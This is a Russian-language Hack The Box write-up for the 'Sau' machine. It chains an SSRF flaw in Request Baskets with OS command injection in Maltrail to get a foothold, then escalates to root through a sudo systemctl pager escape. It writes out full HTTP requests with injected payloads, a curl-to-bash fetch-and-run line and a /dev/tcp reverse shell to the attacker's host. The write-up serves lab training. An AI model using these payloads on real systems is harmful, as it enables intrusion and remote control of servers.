HTB Sau. Раскручиваем цепочку SSRF и инъекций команд до захвата веб-сервера
В этом райтапе я покажу процесс эксплуатации SSRF-уязвимостей и инъекции команд операционной системы при атаке на веб‑сервер на Linux. Получив доступ к SSH, мы используем технику GTFOBins, чтобы повысить привилегии через системную утилиту systemctl.
Наша цель — захват рута на машине Sau с площадки Hack The Box. Уровень ее сложности — «легкий».
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts
:
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Сканер нашел всего два открытых порта:
Еще видим порт 80, но он фильтруется. Посмотрим, что за сайт порте 55555.
ТОЧКА ВХОДА
Благодаря пометке Powered by узнаем, что используется система Request Baskets версии 1.2.1. Так как мы знаем версию продукта, первым делом проверим, нет ли для нее готовых эксплоитов. Для поиска просто воспользуемся Google.
Первая ссылка ведет к эксплоиту для уязвимости CVE-2023-27163 (SSRF).
Эта уязвимость позволяет атакующему заставить сервер выполнить запрос на другой хост. Для проверки запустим локальный веб‑сервер:
А теперь попытаемся выполнить на него запрос.
python3 CVE-2023-27163.py -v http://10.10.11.224:55555/web -t http://10.10.14.48/test_ssrf
Запрос пришел, а значит сервис уязвим. Тут вспоминаем о фильтрации подключений к 80 порту. Возможно, SSRF поможет обойти это ограничение.
ТОЧКА ОПОРЫ
SSRF
Осталось разобраться только с тем, как получить содержимое ответа при обращении к странице через SSRF. Я решил изучить процесс работы эксплоита через Burp Proxy, для чего открыл файл /etc/proxychains.conf
и в конце создал запись для перенаправления трафика через Burp.
Теперь повторим запуск эксплоита, но теперь через proxychains
попробуем эксфильтровать содержимое сайта на 80-м порту.
python3 CVE-2023-27163.py -v http://10.10.11.224:55555/web -t http://10.10.11.224
В выводе ничего интересного, поэтому переходим к Burp History, где зафиксированы три запроса.
Пересылаем все запросы в Burp Repeater и разбираемся, как работает эксплоит. Первый запрос создает корзину, в ответ мы получаем токен доступа.
Во втором запросе эксплоит обращается к созданной корзине, при этом передает полученный на предыдущем шаге токен.
Сервер должен был вернуть содержимое по адресу, который был передан в параметре forward_url
на первом шаге. Но мы ничего не получаем. Тогда я вернулся к первому шагу и изменил значение proxy_response
.
POST /api/baskets/req2 HTTP/1.1 Host: 10.10.11.224:55555 User-Agent: python-requests/2.28.2 Accept-Encoding: gzip, deflate Accept: */* Connection: close Content-Length: 124 Content-Type: application/json {"forward_url": "http://127.0.0.1:80/", "proxy_response": true, "insecure_tls": false, "expand_path": true, "capacity": 250}
При обращении к созданной корзине мы получим какую‑то страницу без JavaScript и стилей.
GET /req2 HTTP/1.1 Host: 10.10.11.224:55555 User-Agent: python-requests/2.28.2 Accept-Encoding: gzip, deflate Accept: */* Connection: close Authorization: Pq3N2qRrZPceRoR5VPspbx4htkKPBgjEBvTNOA_8qbl9
Но поле Powered by снова спасает: перед нами программа Maltrail 0.53. Нашли новую технологию — сразу гуглим уязвимости.
Инъекция команд ОС
По первой ссылке нас встречает описание уязвимости и даже пример ее эксплуатации.
Мы можем выполнить инъекцию команды ОС через парамерт username
на странице /login
. Вернемся к нашей уязвимости SSRF и заставим сервис обратиться к странице /login
.
Открываем локальный веб‑сервер python3
и попробуем обратиться к станице /test_rce
с удаленного сервера с помощью curl. Для этого обращаемся к созданной корзине и передаем параметр username
с внедренной командой curl
.
POST /req3 HTTP/1.1 Host: 10.10.11.224:55555 User-Agent: python-requests/2.28.2 Accept-Encoding: gzip, deflate Accept: */* Connection: close Authorization: CzLJ9JnwRC2n8w7KrVtapzOJIh7eeCg9T_T68CW8_Lk2 Content-Type: application/x-www-form-urlencoded Content-Length: 44 username=;`curl http://10.10.14.48/test_rce`
В логах веб‑сервера видим тестовый запрос. Теперь запустим листенер:
Записываем в файл rs
реверс шелл:
sh -i >& /dev/tcp/10.10.14.48/4321 0>&1
И выполняем запрос к этому файлу с передачей вывода в bash
для получения удаленной сессии.
POST /req3 HTTP/1.1 Host: 10.10.11.224:55555 User-Agent: python-requests/2.28.2 Accept-Encoding: gzip, deflate Accept: */* Connection: close Authorization: CzLJ9JnwRC2n8w7KrVtapzOJIh7eeCg9T_T68CW8_Lk2 Content-Type: application/x-www-form-urlencoded Content-Length: 44 username=;`curl http://10.10.14.48/rs |bash`
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Теперь нам нужно собрать информацию. Я традиционно буду использовать для этого скрипты PEASS.
Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в случае с Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе будет много информации, анализируем ее и ищем значимые моменты.
В настройках sudoers есть запись, согласно которой мы можем выполнить команду /usr/bin/systemctl status trail.service
от имени пользователя root
без ввода пароля.
В списке файлов, добавленных пользователем, есть файл все той же службы /etc/systemd/system/trail.service
.
Я проверил, нет ли в базе GTFOBins записи о systemctl.
Справка: GTFOBins
GTFOBins — это список исполняемых файлов Unix, которые можно использовать для обхода локальных ограничений безопасности в неправильно настроенных системах. Проект собирает законные функции двоичных файлов Unix, которыми можно злоупотреблять, чтобы получить доступ к командным оболочкам, повысить привилегии или передать файлы.
Интересен последний вариант, учитывающий особенности вывода в less
, так как он позволит перейти к выполнению команд аналогично Vim. Я уже имел дело с подобной ситуацией, поэтому знал способ эксплуатации. Как только запустится pager
, вводим команду !sh
для получения сессии в привилегированном режиме.
script /dev/null /bin/bash sudo /usr/bin/systemctl status trail.service !sh